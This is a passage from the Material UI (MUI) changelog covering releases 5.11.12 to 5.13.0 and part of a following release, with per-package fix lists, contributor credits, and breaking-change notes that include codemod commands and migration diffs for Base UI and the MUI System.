Joy UI GitHub issues @oliviertassinari\n- [docs] Show default value for `filterOptions` prop in Autocomplete's API docs (#37230) @ZeeshanTamboli\n- [docs] Add summary and improve `test_static` CI doc in CONTRIBUTING readme file (#36711) @kriskw1999\n- [docs] Update theme customization TypeScript (#35551) @siriwatknp\n- [docs] Add Joy Frames X web blocks template (#37203) @siriwatknp\n- [docs] Change Base UI `alpha()` to `beta()` in README (#37228) @ZeeshanTamboli\n- [docs] Improve Base UI overview page (#37227) @mnajdova\n- [docs] Update Joy + Material guide (#36911) @cherniavskii\n\n### Core\n\n- [core] Remove `toEqualDateTime` chai matcher (#37073) @flaviendelangle\n- [core] Check dependency cycles inside packages directory only (#37223) @michaldudak\n- [core] Remove outdated babel proposal plugins (#36795) @kkocdko\n\nAll contributors of this release in alphabetical order: @Bastian, @binh1298, @cccEric, @cherniavskii, @DerTimonius, @DiegoAndai, @flaviendelangle, @hbjORbj, @jguddas, @kkocdko, @kriskw1999, @mauwaz, @michaldudak, @mnajdova, @nickiaconis, @nicolas-ot, @oliviertassinari, @PunitSoniME, @richbustos, @safeamiiir, @sai6855, @siriwatknp, @uuxxx, @zanivan, @ZeeshanTamboli\n\n## 5.13.0\n\n<!-- generated comparing v5.12.3..master -->\n\n_May 10, 2023_\n\nA big thanks to the 18 contributors who made this release possible. Here are some highlights ✨:\n\n- 🚀 Base UI is now in beta - all planned breaking changes are now complete!\n- 🗺 We have new [project boards](https://github.com/mui/material-ui/projects?query=is%3Aopen) on GitHub where you can learn about what's coming next.\n- 🐛 Various bug fixes, 📚 documentation and 🧪 testing improvements\n\n### `@mui/material@5.13.0`\n\n- [Autocomplete] Support `ChipComponent` type (#37112) @sai6855\n- [AppBar] Fix component type (#37172) @sai6855\n- [Select] Simplify handleChange in SelectInput (#37040) @ulrichstark\n\n### `@mui/joy@5.0.0-alpha.79`\n\n- [Input][joy] Improve alignment on date fields (#37146) @wewakekumar\n- [Alery][joy] Turn JS test to TS test (#37077) @hbjORbj\n- [AspectRatio][joy] js test replaced with TypeScript test (#37087) @PunitSoniME\n- [Badge][AvatarGroup][joy] js test replaced with TypeScript test (#37089) @PunitSoniME\n- [Box][Card][MenuList][joy] Turn JS test to TS test (#37126) @uuxxx\n- [List][Menu][joy] Turn JS test to TS test (#37123) @uuxxx\n- [test][Joy] Remove duplicate Avatar test (#37201) @zignis\n- [test][joy] js test cases converted to TypeScript (#37117) @PunitSoniME\n- [Button][joy] Convert Button test to TypeScript (#37181) @akash191095\n- [CardContent][CardCover][CardOverflow][Chip][ChipDelete][joy] js text case converted to TypeScript (#37116) @PunitSoniME\n- [Radio][IconButton][Checkbox][Option][joy] Switch to TypeScript unit test (#37137) @DerTimonius\n\n### `@mui/base@5.0.0-beta.0`\n\n- [Select][base] Do not call onChange after initial render (#37141) @michaldudak\n- [Select][base] Rename the `optionStringifier` prop (#37118) @michaldudak\n- [typescript][base] Fix types of components callbacks parameters (#37169) @michaldudak\n- [Select], [TablePagination] Use more descriptive parameter names (#37064) @michaldudak\n\n### Docs\n\n- [docs] Stray design tweaks to Base UI demos (#37003) @danilo-leal\n- [docs] Move outdated CSS prefixing docs (#36710) @kriskw1999\n- [docs] Improve \"Example projects\" page design (#37007) @danilo-leal\n- [docs] Redirect NoSsr, Portal and TextareaAutosize to Base UI API page (#37175) @ZeeshanTamboli\n- [docs] Demonstrate `TextField` customization using theme style overrides (#36805) @ZeeshanTamboli\n- [docs] Tweak the \"Edit this page\" button icon (#37142) @danilo-leal\n- [docs] Update links to the public roadmap (#36995) @mnajdova\n- [docs] Improve Multiselect demo styling (#37120) @michaldudak\n- [Stack] Fix import description @oliviertassinari\n\n### Core\n\n- [blog] Fix images using \"MUI Base\" instead of \"Base UI\" (#37044) @danilo-leal\n- [core] Add VS Code extensions recommendations (#37166) @michaldudak\n- [test] `e2e-website` related minor fixes (#37204) @ZeeshanTamboli\n\nAll contributors of this release in alphabetical order: @akash191095, @DanailH, @danilo-leal, @DerTimonius, @gerdadesign, @hbjORbj, @kriskw1999, @michaldudak, @mnajdova, @oliviertassinari, @PunitSoniME, @romgrk, @sai6855, @ulrichstark, @uuxxx, @wewakekumar, @ZeeshanTamboli, @zignis\n\n## 5.12.3\n\n<!-- generated comparing v5.12.2..master -->\n\n_May 2, 2023_\n\nA big thanks to the 18 contributors who made this release possible. Here are some highlights ✨:\n\n- all planned breaking changes for Base UI are done. The first beta release should come next week 🎉\n- 🐛 bug fixes and 📚 documentation improvements.\n\n### `@mui/material@5.12.3`\n\n- [Accordion] Add missing `component` type (#37111) @sai6855\n- [ButtonGroup] Should not retain divider color when it is disabled and variant is `text` (#36967) @DavidBoyer11\n- [Divider] Fix styles on dividers with text (#35072) @maxdestors\n- [TextField] Improve IntelliSense support for props (#36737) @sai6855\n- [TextField] Fix running click event on disabled (#36892) @sai6855\n\n### `@mui/joy@5.0.0-alpha.78`\n\n- [Joy] Miscellaneous fixes and docs improvement (#37026) @siriwatknp\n\n### `@mui/base@5.0.0-alpha.128`\n\n#### Breaking changes\n\n- The `component` prop is no longer supported because it can be replaced with the slots API. This is how the transformation will look like:\n\n  ```diff\n   <Button\n  -  component=\"span\"\n  +  slots={{ root: \"span\" }}\n   />\n  ```\n\n  If using TypeScript, the custom component type should be added as a generic on the `Button` component.\n\n  ```diff\n  -<Button\n  +<Button<typeof CustomComponent>\n     slots={{ root: CustomComponent }}\n     customProp=\"foo\"\n   />\n  ```\n\n  There is codemod that you can run in your project to do the transformation:\n\n  ```bash\n  npx @mui/codemod@latest v5.0.0/base-remove-component-prop <path>\n  ```\n\n  The full documentation about the codemod can be found [here](https://github.com/mui/material-ui/blob/master/packages/mui-codemod/README.md#base-remove-component-prop).\n\n  This is the list of PR related to this change:\n  - [Button][base] Drop `component` prop (#36677) @mnajdova\n  - [Badge][base] Drop `component` prop (#37028) @hbjORbj\n  - [FormControl][base] Drop component prop (#37031) @hbjORbj\n  - [Input][base] Drop component prop (#37057) @hbjORbj\n  - [Menu][base] Drop component prop (#37033) @hbjORbj\n  - [MenuItem][base] Drop component prop (#37032) @hbjORbj\n  - [Modal][base] Drop component prop (#37058) @hbjORbj\n  - [Option][base] Drop component prop (#37052) @hbjORbj\n  - [OptionGroup][base] Drop component prop (#37055) @hbjORbj\n  - [Popper][base] Drop component prop (#37084) @hbjORbj\n  - [Select][base] Drop component prop (#37035) @hbjORbj\n  - [Slider][base] Drop component prop (#37056) @hbjORbj\n  - [Snackbar][base] Drop component prop (#37041) @nicolas-ot\n  - [Switch][base] Drop component prop (#37053) @hbjORbj\n  - [Tab][base] Drop component prop (#36768) @sai6855\n  - [Tabs][base] Drop component prop (#36770) @sai6855\n  - [TablePagination][base] Drop component prop (#37059) @sai6855\n  - [TabPanel][base] Drop component prop (#37054) @sai6855\n  - [TabsList][base] Drop component prop (#37042) @sai6855\n\n- [base] Improve API consistency (#36970) @michaldudak\n\n  Brought consistency to Base UI components and hooks' parameters and return values:\n  1. Whenever a hook needs a ref, it's now called `<slot_name>Ref`, which matches the `get<slot_name>Props` in the return value.\n  2. All hooks that accept external refs now return merged refs, making combining multiple hooks on one element easier. This was proven necessary in several compound components (like menuItem being both a button and a list item). The type of this value is `React.RefCallback` as using the more general `React.Ref` caused variance issues.\n  3. Type of accepted refs is standardized to `React.Ref<Element>`\n  4. Naming and typing of the forwarded ref in unstyled components were standardized - it's forwardedRef: React.ForwardedRef<Element> (unless a more specific type is needed).\n  5. The shape of the definition of unstyled components was standardized - it's React.forwardRef(function Component(props: Props, forwardedRef: React.Ref<Element>) { ... });. Specifically, the generic parameters of forwardRef were removed as they are specified in function arguments.\n\n#### Changes\n\n- [FormControl][base] Do not use optional fields in useFormControlContext's return value (#37037) @michaldudak\n\n### Docs\n\n- [base][docs] Add Base UI Quickstart Guide (#36717) @mj12albert\n- [docs] Fix Material UI's API linking to Base UI (#37121) @mnajdova\n- [docs] Fix pagination in the DataGrid demo (#37114) @cherniavskii\n- [docs] Add notification to the release of the new Time Picker UI (#37065) @joserodolfofreitas\n- [docs] Specify \"Material UI\" (not \"MUI\") where appropriate throughout the docs (#37066) @samuelsycamore\n- [docs] Use focus-visible instead of focus for Menu demos (#36847) @michaldudak\n- [docs] Fix small regressions API pages (#36972) @oliviertassinari\n- [docs] Handle a few docs-feedback (#36977) @oliviertassinari\n- [docs] Fix anchor link in customization (#37004) @oliviertassinari\n- [docs] Add a note about minimal required version for theme merging to the guides (#36973) @jakub-stastny\n- [docs] smooth scrolling added for `back to top` (#37011) @PunitSoniME\n- [docs] Remove `useFormControl` return values from demos page (#37036) @ZeeshanTamboli\n- [docs][base] Move styles to the bottom of demos code for `SwitchUnstyled` (#36720) @varunmulay22\n- [docs][base] Move styles to the bottom of demos code for `InputUnstyled` (#36724) @varunmulay22\n- [docs][base] Move styles to the bottom of demos code for `SliderUnstyled` (#36721) @varunmulay22\n- [docs][base] Move styles to the bottom of demos code for `Snackbar` (#36719) @varunmulay22\n- [docs][base] Move styles to the bottom of demos code for `SelectUnstyled` (#36718) @varunmulay22\n- [templates] Image not displayed in blog layout of React template. (#36991) @navedqb\n- [docs] Turn off job banner on docs (#36080) @joserodolfofreitas\n\n### Core\n\n- [core] Allow type alias as well in hooks API docs generation (#37034) @ZeeshanTamboli\n\nAll contributors of this release in alphabetical order: @cherniavskii, @DavidBoyer11, @hbjORbj, @jakub-stastny, @joserodolfofreitas, @maxdestors, @michaldudak, @mj12albert, @mnajdova, @navedqb, @nicolas-ot, @oliviertassinari, @PunitSoniME, @sai6855, @samuelsycamore, @siriwatknp, @varunmulay22, @ZeeshanTamboli\n\n## 5.12.2\n\n<!-- generated comparing v5.12.1..master -->\n\n_Apr 25, 2023_\n\nA big thanks to the 12 contributors who made this release possible. Here are some highlights ✨:\n\n- ⚠️ **[BREAKING CHANGE]** The `Unstyled` suffix has been removed from Base UI component names, including names of types and other related identifiers – a codemod script is provided to assist with the change.\n- 🐛 bug fixes and 📚 documentation improvements.\n\n### `@mui/material@5.12.2`\n\n- [FormControl] Fix `filled` when value is set through `inputProps` (#36741) @sai6855\n- [Slider] `onChange` handler should be called only when value has changed (#36706) @gitstart\n- [Table] Fix `Sorting & Selecting` tables (#36898) @oliviertassinari\n\n### `@mui/base@5.0.0-alpha.127`\n\n#### Breaking changes\n\n- [base] Remove unstyled suffix from Base components + Codemod script (#36873) @hbjORbj\n\n  The `Unstyled` suffix has been removed from all Base UI component names, including names of types and other related identifiers.\n\n  You can use this [codemod](https://github.com/mui/material-ui/blob/master/packages/mui-codemod/src/v5.0.0/base-remove-unstyled-suffix.js) to help with the migration:\n\n  ```bash\n  npx @mui/codemod@latest v5.0.0/base-remove-unstyled-suffix <path>\n  ```\n\n#### Changes\n\n- [codemod][base] Improve the removal of `component` prop codemod script (#36952) @hbjORbj\n- [codemod][base] Write a migration script for removal of `component` prop from components (#36831) @hbjORbj\n- [Base][useButton] Allow useButton params to be completely optional (#36922) @mj12albert\n\n### `@mui/joy@5.0.0-alpha.77`\n\n- [Joy][Chip] Chip button not showing up in Firefox browser (#36930) @TakhyunKim\n- [Joy] Add `invertedColors` to Menu and Alert (#36975) @siriwatknp\n- [joy][Select] Set focus visible on select options when navigating with arrow keys (#36689) @gitstart\n\n### Docs\n\n- [docs] Fix console error introduced by #36408 (#36980) @alexfauquette\n- [docs] Add stray Joy UI documentation improvements (#36921) @danilo-leal\n- [docs] Add Joy profile dashboard template (#36931) @siriwatknp\n- [docs] Fix 404 links (#36969) @oliviertassinari\n- [docs] Clarify when bundle size optimization is needed (#36823) @oliviertassinari\n- [docs] Fix Chakra UI theme scoping typo (#36950) @mj12albert\n- [docs] Add snackbar example using sonner (#36926) @PupoSDC\n- [docs] Adjust the Material Icons page design and formatting (#36937) @danilo-leal\n- [docs] Allows to customize menu with any icon (#36408) @alexfauquette\n- [docs] Add info about passing ref to input element (#36913) @tomaskebrle\n- [docs][material] Tabs API section cleanup (#36942) @mnajdova\n\n### Core\n\n- [core] Fix CI failure on `master` (#37016) @hbjORbj\n- [typescript] Add the missing explicit component return types (#36924) @michaldudak\n\nAll contributors of this release in alphabetical order: @alexfauquette, @cherniavskii, @danilo-leal, @gitstart, @hbjORbj, @michaldudak, @mj12albert, @mnajdova, @oliviertassinari, @PupoSDC, @sai6855, @siriwatknp, @TakhyunKim, @tomaskebrle\n\n## 5.12.1\n\n<!-- generated comparing v5.12.0..master -->\n\n_Apr 17, 2023_\n\nA big thanks to the 16 contributors who made this release possible. This release was mostly about 🐛 bug fixes and 📚 documentation improvements.\n\n### `@mui/material@5.12.1`\n\n- [Autocomplete] Fix autocomplete left padding (#36649) @mj12albert\n- [Button] Fix contained with inherit prop not adapting on dark mode (#34508) @jesrodri\n- [FormControlLabel] Add `required` prop (#34207) @emlai\n- [Tabs] Fix null reference in ScrollbarSize after unmounting (#36485) @rkdrnf\n- [TextField] Fix type error when using `inputTypeSearch` class for `outlined` and `filled` inputs (#36740) @sai6855\n- [ThemeProvider] Fix theme proptypes (#36852) @siriwatknp\n\n### `@mui/system@5.12.1`\n\n#### Breaking changes\n\n- [Grid2] Replace context with `cloneElement` (#36399) @siriwatknp\n\n  `Grid2` now uses `React.cloneElement` instead of React context for passing the spacing and columns to the next container. The change is close to how CSS flexbox behaves.\n\n#### Changes\n\n- [CssVarsProvider] Always generate new `css` object (#36853) @siriwatknp\n\n### `@mui/base@5.0.0-alpha.126`\n\n#### Breaking changes\n\n- [base] Refactor the compound components building blocks (#36400) @michaldudak\n  Components affected by the changes are:\n  - Menu\n    - `MenuUnstyledContext` is replaced by `MenuProvider`. The value to pass to the provider is returned by the `useMenu` hook.\n    - MenuUnstyled's `onClose` prop is replaced by `onOpenChange`. It has the `open` parameter and is called when a menu is opened or closed\n  - Select\n    - `SelectUnstyledContext` is replaced by `SelectProvider`. The value to pass to the provider is returned by the `useSelect` hook.\n    - `SelectUnstyled`'s popup is permanently mounted.\n    - The `defaultOpen` prop was added to the SelectUnstyled. The open/close state can now be controlled or uncontrolled, as a `value`.\n  - Tabs\n    - `TabsContext` is replaced by `TabsProvider`. The value to pass to the provider is returned by the `useTabs` hook.\n    - To deselect all tabs, pass in `null` to Tabs' `value` prop, instead of `false`. This is consistent with how Select works.\n    - The `value` prop is still technically not mandatory on TabUnstyled and TabPanel, but when omitted, the contents of the selected tab panel will not be rendered during SSR.\n\n### `@mui/joy@5.0.0-alpha.76`\n\n- [Table][Joy] Replace uses of css selector `*-child` to `*-of-type` (#36839) @keyvanm\n\n### Docs\n\n- [docs][base] Move styles to the bottom of demos code for `BadgeUnstyled` (#36723) @varunmulay22\n- [docs][base] Mention that the hook does not accept any parameters in the `Parameters` section of the API docs (#36773) @ZeeshanTamboli\n- [docs][base] Move styles to the bottom of demos code for `ModalUnstyled` (#36580) @gitstart\n- [docs][base] Move styles to the bottom of demos code for `Tabs` (#36577) @gitstart\n- [docs][base] Move styles to the bottom of demos code for `Popper` (#36578) @gitstart\n- [docs][base] Move styles to the bottom of demos code for `TablePagination` (#36593) @gitstart\n- [docs] Remove the incorrect info about useButton's ref parameter (#36883) @michaldudak\n- [docs] Sync <Stack> between projects (#36785) @oliviertassinari\n- [docs] Add guides to overriding component structure in Base UI and Joy UI docs (#34990) @samuelsycamore\n- [docs] Content changed from 'row' to 'orientation=horizontal' (#36858) @navedqb\n- [docs][Joy] `component`, `slots`, `slotProps` must be visible in Prop table in API docs (#36666) @hbjORbj\n- [docs][Select] Fix duplicate ID in small size Select demo (#36792) @sai6855\n\n### Core\n\n- [core] Use glob to find the test files in parseTest (#36305) @flaviendelangle\n- [core] Fix minor SEO issues @oliviertassinari\n\nAll contributors of this release in alphabetical order: @emlai, @flaviendelangle, @gitstart, @hbjORbj, @jesrodri, @keyvanm, @michaldudak, @mj12albert, @navedqb, @oliviertassinari, @rkdrnf, @sai6855, @samuelsycamore, @siriwatknp, @varunmulay22, @ZeeshanTamboli\n\n## 5.12.0\n\n<!-- generated comparing v5.11.16..master -->\n\n_Apr 11, 2023_\n\nA big thanks to the 9 contributors who made this release possible. Here are some highlights ✨:\n\n- 💫 Added [theme scope](https://mui.com/material-ui/guides/theme-scoping/) for using multiple design systems (#36664) @siriwatknp\n- 🐛 bug fixes and 📚 documentation improvements.\n\n### `@mui/system@5.12.0`\n\n- [system] Introduce theme scope for using multiple design systems (#36664) @siriwatknp\n\n### `@mui/base@5.0.0-alpha.125`\n\n- [PopperUnstyled] Do not merge internal `ownerState` with `ownerState` from props (#36599) @hbjORbj\n\n### `@mui/joy@5.0.0-alpha.75`\n\n- [Joy] Add tests for slots/slotProps for all components (#36828) @hbjORbj\n- [Joy] Support `slots`/`slotsProps` for every component (components with only root slot too) (#36540) @hbjORbj\n\n### Docs\n\n- [docs][Backdrop] Improvements to the docs (#34244) @alirezahekmati\n- [docs] Fix base API redirects (#36833) @mnajdova\n- [docs] Improve perf on tab APIs (#36832) @mnajdova\n- [docs] Revert CircularProgress component text to be proper noun instead (#36837) @ZeeshanTamboli\n- [docs] Simplify language redirection @oliviertassinari\n- [docs] Add missing `readOnly` state class in the list (#36788) @ZeeshanTamboli\n- [docs] Improve side nav scroll into view (#36732) @oliviertassinari\n- [docs][base & joy] Display \"Classes\" Section in API docs (#36589) @hbjORbj\n- [docs] Fix 100+ typos throughout the Material UI docs (#36194) @Lioness100\n- [docs] Change \"coming soon\" chip color (#36786) @danilo-leal\n- [docs][Joy] Fix wrong prop descriptions (#36826) @hbjORbj\n- [docs][material] Highlight global state classes in CSS table in API docs (#36633) @hbjORbj\n- [examples] Fix `SliderUnstyled` slots `key` name (#36830) @sai6855\n- [Tabs] Improve useTab() API page (#36725) @oliviertassinari\n\n### Core\n\n- [core] Increase margin to scroll @oliviertassinari\n- [core] Replace MUI Base with Base UI (#36716) @mnajdova\n\nAll contributors of this release in alphabetical order: @alirezahekmati, @danilo-leal, @hbjORbj, @Lioness100, @mnajdova, @oliviertassinari, @sai6855, @siriwatknp, @ZeeshanTamboli\n\n## 5.11.16\n\n<!-- generated comparing v5.11.15..master -->\n\n_Apr 4, 2023_\n\nA big thanks to the 17 contributors who made this release possible. Here are some highlights ✨:\n\n- 💅 Added tabs on API pages of Base UI to switch between component and hook references (#35938) @mnajdova\n- 🐛 bug fixes and 📚 documentation improvements.\n\n### `@mui/material@5.11.16`\n\n- [Autocomplete] Listen for click on the root element (#36369) @sai6855\n- [Autocomplete] Fix navigation issue on mouse hover (#35196) @sai6855\n- [Card] Fix Card focus effect overflowing parent card (#36329) @mj12albert\n- [Grid] Missing slot (#36765) @siriwatknp\n- [Select] Make error part of the `ownerState` to enable overriding styles with it in theme (#36422) @gitstart\n- [Slider] Fix ValueLabel UI issues comes when size=\"small\" and orientation=\"vertical (#36738) @yushanwebdev\n\n### `@mui/icons-material@5.11.16`\n\n- [icons] Do not ignore popular icons (#36608) @michaldudak\n\n### `@mui/joy@5.0.0-alpha.74`\n\n- [Joy] Add `ModalOverflow` component (#36262) @siriwatknp\n- [Joy] Fix `Checkbox` custom color prop type warning (#36691) @amal-qb\n\n### Docs\n\n- [docs][base] Add return type for `useFormControlUnstyledContext` hook (#36302) @HeVictor\n- [docs][base] Move styles to the bottom of demos code for `FormControl` (#36579) @gitstart\n- [docs][base] Move styles to the bottom of demos code for `Menu` (#36582) @gitstart\n- [docs][base] Move styles code to bottom in the `Button` demos (#36590) @sai6855\n- [docs][base] Show components & hooks API on the components page (#35938) @mnajdova\n- [docs] Describe slotProps in MUI Base customization doc (#36206) @michaldudak\n- [docs] Fix double API page redirection (#36743) @oliviertassinari\n- [docs] Remove hash property and leverage pathname (#36764) @siriwatknp\n- [docs] Introduce markdown permalink to source (#36729) @oliviertassinari\n- [docs] Tabs API add slots section (#36769) @mnajdova\n- [docs] Update feedbacks management on slack (#36705) @alexfauquette\n- [docs] Fix Joy UI URL to tokens (#36742) @oliviertassinari\n- [docs] Add toggle-button coming soon page (#36618) @siriwatknp\n- [docs] Fix typo on the Joy UI theme builder (#36734) @danilo-leal\n- [docs] Fix small typo (#36727) @RBerthier\n- [docs] Fix Joy UI template broken image loading @oliviertassinari\n- [docs] Hide the default API column if it's empty (#36715) @mnajdova\n- [docs] Update Material UI Related Projects page (#34203) @viclafouch\n- [docs] Revise Joy UI \"Circular Progress\" page (#36126) @LadyBluenotes\n- [docs] Revise Joy UI \"Radio\" page (#35893) @DevinCLane\n- [docs] Support Google Analytics 4 (#36123) @alexfauquette\n- [docs][material] Keep consistency in description of classes (#36631) @hbjORbj\n- [docs] Remove redundant files and fix regression (#36775) @ZeeshanTamboli\n\n### Core\n\n- [blog] Compress images @oliviertassinari\n- [core] Remove unused token (#36722) @oliviertassinari\n\nAll contributors of this release in alphabetical order: @alexfauquette, @amal-qb, @danilo-leal, @DevinCLane, @gitstart, @hbjORbj, @HeVictor, @LadyBluenotes, @michaldudak, @mj12albert, @mnajdova, @oliviertassinari, @RBerthier, @sai6855, @siriwatknp, @viclafouch, @yushanwebdev\n\n## 5.11.15\n\n<!-- generated comparing v5.11.14..master -->\n\n_Mar 28, 2023_\n\nA big thanks to the 10 contributors who made this release possible. We have one big highlight this week ✨:\n\n- @siriwatknp made a [Theme Builder](https://mui.com/joy-ui/customization/theme-builder) for Joy UI 🎨 (#35741)\n\n### `@mui/material@5.11.15`\n\n- [Chip] Fix error when theme value is a CSS variable (#36654) @siriwatknp\n- [Grid2] Support dynamic nested columns (#36401) @siriwatknp\n\n### `@mui/system@5.11.15`\n\n- [system] Enable regressions tests & fix regressions (#36611) @mnajdova\n- [Stack] Add `useFlexGap` prop (#36404) @siriwatknp\n\n### `@mui/base@5.0.0-alpha.122`\n\n- [Autocomplete] Update `autoSelect` prop description (#36280) @sai6855\n- [TablePagination][base] Improve `actions` type in `slotProps` (#36458) @sai6855\n- [Base] Add JSDoc comments for classes of Base components (#36586) @hbjORbj\n- [useSlider][base] Add API docs for the hook parameters and return type (#36576) @varunmulay22\n\n### `@mui/joy@5.0.0-alpha.73`\n\n- [Joy] Miscellaneous fixes (#36628) @siriwatknp\n- [Joy] Add palette customizer (#35741) @siriwatknp\n\n### Docs\n\n- Revert \"[docs] Use `theme.applyDarkStyles` for the rest of the docs\" (#36602) @mnajdova\n- [blog] Improvements on v6 announcement blog (#36505) @joserodolfofreitas\n- [docs] Add `Snackbar` coming soon page (#36604) @danilo-leal\n- [docs] Add accordion coming soon page (#36279) @siriwatknp\n- [docs] Fix palette customizer theme augmentation (#36629) @siriwatknp\n- [docs] Finish migration away from https://reactjs.org/ @oliviertassinari\n- [docs] Remove duplicated slot descriptions (#36621) @hbjORbj\n- [docs] Fix broken example link (#36607) @mnajdova\n- [docs] Use `theme.applyDarkStyles` (#36606) @siriwatknp\n- [docs] Improve API for theme default prop (#36490) @oliviertassinari\n- [docs][Table] Refactor `Sorting & Selecting` table demo (#33236) @IFaniry\n\n### Core\n\n- [core] Use Netlify function for feedback management (#36472) @alexfauquette\n\nAll contributors of this release in alphabetical order: @alexfauquette, @danilo-leal, @hbjORbj, @IFaniry, @joserodolfofreitas, @mnajdova, @oliviertassinari, @sai6855, @siriwatknp, @varunmulay22\n\n## 5.11.14\n\n<!-- generated comparing v5.11.13..master -->\n\n_Mar 21, 2023_\n\nA big thanks to the 15 contributors who made this release possible.\nThis release was mostly about 🐛 bug fixes and 📚 documentation improvements.\n\n### `@mui/material@5.11.14`\n\n- [Breadcrumbs] Add ability to change icon used in `BreadcrumbCollapsed` through slots (#33812) @pratikkarad\n- [Stepper] Add aria-current to active StepButton (#36526) @michalak111\n- [TabScrollButton] Add ability to change left and right icons (#33863) @pratikkarad\n- [ListItemButton] Respect LinkComponent (#34159) @zaverden\n- [l10n] Add Central Kurdish (ku-CKB) locale (#36592) @HediMuhamad\n\n### `@mui/system@5.11.14`\n\n- [system] Fix sx prop regression for fontWeight values (#36543) @mnajdova\n\n### `@mui/base@5.0.0-alpha.121`\n\n- [docs][base] Improve the Slots Table in API docs (#36330) @hbjORbj\n\n### `@mui/joy@5.0.0-alpha.72`\n\n- [Joy] Ensure new CSS variable naming is everywhere (#36460) @hbjORbj\n- [Menu][joy] Classname listbox is missing (#36520) @hbjORbj\n- [Joy] Fix `--List-decorator*` vars (#36595) @siriwatknp\n\n### `@mui/lab@5.0.0-alpha.124`\n\n- [Masonry] Include Masonry in theme augmentation interface (#36533) @hbjORbj\n\n### Docs\n\n- [blog] Post blog about Chamonix retreat to the website (#36517) @mikailaread\n- [blog] Fix image layout shift (#36522) @oliviertassinari\n- [docs] Use `theme.applyDarkStyles` for the rest of the docs (#36161) @siriwatknp\n- [docs] Fix 301 and 404 links (#36555) @oliviertassinari\n- [docs] Keep slot code order in API docs (#36499) @oliviertassinari\n- [docs] Missing className on Migrating from JSS example (#36536) @gabrielnafuzi\n- [docs] Fix function name for Joy templates (#36512) @hbjORbj\n- [docs] Add multiline Chip example (#36437) @dav1app\n- [docs] Add a new gold sponsor (#36518) @hbjORbj\n- [docs][joy] Improve the Slots Table in API docs (#36328) @hbjORbj\n- [docs] Fix virtualElement demo for Popper (#36320) @sai6855\n- [docs] Fix typo in API docs (#36388) @RomanHotsiy\n- [docs] Ensure classname displayed under Slots section in API docs exists (#36539) @hbjORbj\n- [docs][joy] Build TS versions for Modal component demos (#36385) @varunmulay22\n- [docs][joy] Build TS versions for Menu component demos (#36383) @varunmulay22\n- [docs][joy] Build TS versions for Switch component demos (#36379) @varunmulay22\n- [docs] Remove `shouldSkipGeneratingVar` usage (#36581) @siriwatknp\n- [docs][material] Update Table's demo to show pointer cursor on clickable rows (#36546) @varunmulay22\n\n### Core\n\n- [core] Fix CI @oliviertassinari\n- [core] Fix blank line @oliviertassinari\n\nAll contributors of this release in alphabetical order: @danilo-leal, @dav1app, @gabrielnafuzi, @hbjORbj, @HediMuhamad, @michalak111, @mikailaread, @mnajdova, @oliviertassinari, @pratikkarad, @RomanHotsiy, @sai6855, @siriwatknp, @varunmulay22, @zaverden\n\n## 5.11.13\n\n<!-- generated comparing v5.11.12..master -->\n\n_Mar 14, 2023_\n\nA big thanks to the 13 contributors who made this release possible. Here are some highlights ✨:\n\n- @michaldudak added an option for [disabling the generation](https://v6.mui.com/base-ui/getting-started/customization/#disabling-default-css-classes) of the default classes in Base UI (#35963)\n- other 🐛 bug fixes and 📚 documentation improvements.\n\n### `@mui/material@5.11.13`\n\n- [core] Bump Base UI's version in Material UI (#36492) @hbjORbj\n- [material] Export `shouldSkipGeneratingVar` from Material UI (#36489) @siriwatknp\n- [Typography] Apply font properties to typography inherit variant (#33621) @oyar99\n\n### `@mui/base@5.0.0-alpha.121`\n\n- [base] Disable classes generation via a context (#35963) @michaldudak\n- [useMenu][base] Add return interface for useMenu hook (#36376) @HeVictor\n- [useBadge] Add interface for the return value (#36042) @skevprog\n- [useMenuItem] Add explicit return type (#36359) @rayrw\n- [useTabs] Add explicit return type (#36047) @sai6855\n\n### Docs\n\n- [blog] Update fields behavior on date pickers blog post (#36480) @joserodolfofreitas\n- [docs] Info markdown not rendering in Contributing Guide README (#36487) @hbjORbj\n- [docs] Remove 301 redirection to MUI X lab migration @oliviertassinari\n- [docs] Fix a grammar error (#36486) @hbjORbj\n- [docs] Add blog post notification for v6 release (#36446) @joserodolfofreitas\n- [docs] Update link to v5 docs (#36421) @m4theushw\n- [docs] Fix 404 in the API page links (#36419) @oliviertassinari\n- [docs][joy] Error in the exemplary CodeSandbox of using Material UI and Joy UI together (#36462) @hbjORbj\n- [examples] Refactor to have better types in the Next.js + TypeScript examples (#36355) @erikian\n\nAll contributors of this release in alphabetical order: @erikian, @hbjORbj, @HeVictor, @hrutik7, @joserodolfofreitas, @m4theushw, @michaldudak, @oliviertassinari, @oyar99, @rayrw, @sai6855, @siriwatknp, @skevprog\n\n## 5.11.12\n\n<!-- generated comparing v5.11.11..master -->\n\n_Mar 6, 2023_\n\nA big thanks to the 17 contributors who made this release possible. Here are some highlights ✨:\n\n- @michaldudak added the multiselect functionality to SelectUnstyled (#36274)\n- @mnajdova updated `extendTheme` so that it can generate CSS variables with default values. This means that the `CssVarsProvider` is no longer required for Joy UI when using the default theme (#35739)\n- other 🐛 bug fixes and 📚 documentation improvements.\n\n### `@mui/material@5.11.12`\n\n- [Autocomplete] Fix list scrolls to the top when new data is added on touch devices (#36231) @SaidMarar\n- [Autocomplete] Add `Mui-expanded` class (#33312) @Osman-Sodefa\n- [Dialog] Use the `id` prop provided to the `DialogTitle` component (#36353) @Kundan28\n- [Menu] Fix Menu Paper styles overriding in the theme (#36316) @Paatus\n\n### `@mui/lab@5.0.0-alpha.122`\n\n- [TreeView] Fix Tree View inside shadow root crashes (#36225) @NoFr1ends\n\n### `@mui/system@5.11.12`\n\n#### Breaking changes\n\n- [core] Generate vars in `extendTheme` (#35739) @mnajdova\n\n  The `shouldSkipGeneratingVar` prop was moved from the `createCssVarsProvider`'s option to the `theme`. If the default theme does not use `extendTheme` from Material UI or Joy UI, it needs to be wrapped inside `unstable_createCssVarsTheme` - a util exported from the MUI System. Below is an example of how the migration should look like:\n\n  ```diff\n   import {\n     unstable_createCssVarsProvider as createCssVarsProvider,\n  +  unstable_createCssVarsTheme as createCssVarsTheme,\n   } from '@mui/system';\n\n   const { CssVarsProvider } = createCssVarsProvider({\n  -  theme: {\n  +  theme: createCssVarsTheme({\n       colorSchemes: {\n         light: {\n           typography: {\n             htmlFontSize: '16px',\n             h1: {\n               fontSize: '1rem',\n               fontWeight: 500,\n             },\n           },\n         },\n       },\n  +    shouldSkipGeneratingVar: (keys) => keys[0] === 'typography' && keys[1] === 'h1',\n  -  },\n  +  }),\n     defaultColorScheme: 'light',\n  -  shouldSkipGeneratingVar: (keys) => keys[0] === 'typography' && keys[1] === 'h1',\n   });\n  ```\n\n  Or you can define it directly 